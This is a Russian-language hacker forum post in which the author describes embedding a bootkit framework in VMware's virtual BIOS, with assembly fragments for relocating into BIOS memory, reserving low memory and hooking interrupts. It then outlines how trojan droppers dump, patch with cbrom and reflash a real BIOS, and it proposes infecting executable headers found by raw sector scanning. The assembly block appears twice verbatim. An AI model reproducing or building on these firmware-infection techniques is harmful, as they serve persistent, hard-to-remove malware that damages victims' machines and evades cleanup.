О том чем грозит данный вид ПО даже не хочется говорить.Несомненно, реализация и более того,осмысленность данного ПО спорная и сложная.Как нам всем известно, биосы бывают разные, АМИ,ФЕНИКСЫ и все такое прочее(хотя по статистике больше всего конечно фениксов).Но скажу что это возможно!Более того у меня получилось разместить известный буткит-фрэймворк в виртуальном биосе vmware!Что можно сделать на виртуалке то можно сделать и на реальной машине.Поебаться мне пришлось нехило, а т.е. немного модифицировать сей фреймворк таким вот кодесом:
mov di, 6000h
mov cx, 0fffh
add si,110000b
rep movsw
копируемся где-то в области bios
проверяем, включены ли уже прерывания
cmp byte [19h*4],0
если все ок запускаем код,который был потерт прыжком
mov bx, es
mov fs, bx
mov ds, ax
retf
дальше все по-дефолту
откусываем память в low bios memory
mov [ax,413h]
sub ax,6
переводим в параграфы
mov [413h],ax
shl ax,6
перехватываем прерывание и т.д. то что в фрэймворке.
когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)
выводим в видеобуфер посимвольно
mov word [ds:0B8000h], 0250h
в итоге смотрим что получилось в данном видео:
mov di, 6000h
mov cx, 0fffh
add si,110000b
rep movsw
копируемся где-то в области bios
проверяем, включены ли уже прерывания
cmp byte [19h*4],0
если все ок запускаем код,который был потерт прыжком
mov bx, es
mov fs, bx
mov ds, ax
retf
дальше все по-дефолту
откусываем память в low bios memory
mov [ax,413h]
sub ax,6
переводим в параграфы
mov [413h],ax
shl ax,6
перехватываем прерывание и т.д. то что в фрэймворке.
когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)
выводим в видеобуфер посимвольно
mov word [ds:0B8000h], 0250h
в итоге смотрим что получилось в данном видео:
Итог: конечно, возможность заразы была всегда, вспомним тот же cih. Однако, реализовывать это для полномасштабного проекта во-первых глупо,во-вторых очень тяжело(правильно поставить вперед;))
Хотя я видел одну интересную штуку:
В дропере идет драйвер устройства bios, драйвер руткит(прошивка ,полагаю возможна стандартными утилитами,а их надо ныкать это естественно), зараженный модуль( допустим такой какой я сделал),длл-ка для контроля драйвера,и то что работает с образами bios (смотря на какой биос нацелен троян, чаще всего это phoenix award и утилита cbrom)
Некоторые ебанутые дроперы используют свою шифрованную файловую систему за пределами размеченной области жд(это?!ппц) куда и сбрасывают все что несут в себе.
Потом читается bios и определяется его размер.Создается образ биоса на жд.Потом зараженный модуль вносится в этот образ,после чего образ жгется в МС.
Биос определяется по сигнатуре, например в фениксах в комплекте идет свой прошивальщик который и можно найти по его имени.
В общем то штука довольно опасная, тк убрать ее при наличии буткита или руткита режима ядра-не получится.
Да что еще хочу подчеркнуть, механизм буткитов которые опубликованы на мой взгляд не объективен.Во-первых та же windows 7 загружается уже вообще иначе чем ХРюха, а это уже продумывать как минимум два варианта.Надо идеально знать процесс загрузки операционной системы и все такое.Малейший сервиспак\обновление которые уничтожат сигнатуры которыми пользуется буткит,либо вообще принципиально изменят что то-он будет не рабочим.
Я читал и думал об отличном варианте.Ищется определенный exe-шник путем перебора сектора (сигнатура mz), и внедряется код в его заголовок.Почему в заголовок: да потому что в винде есть такая фишка как фрагментация и файл может быть не целым.Как варианта можно составить небольшой парсер файловой системы и таким образом наверняка внедряться в нужный файл.На этом все, я пошел пить пиво;)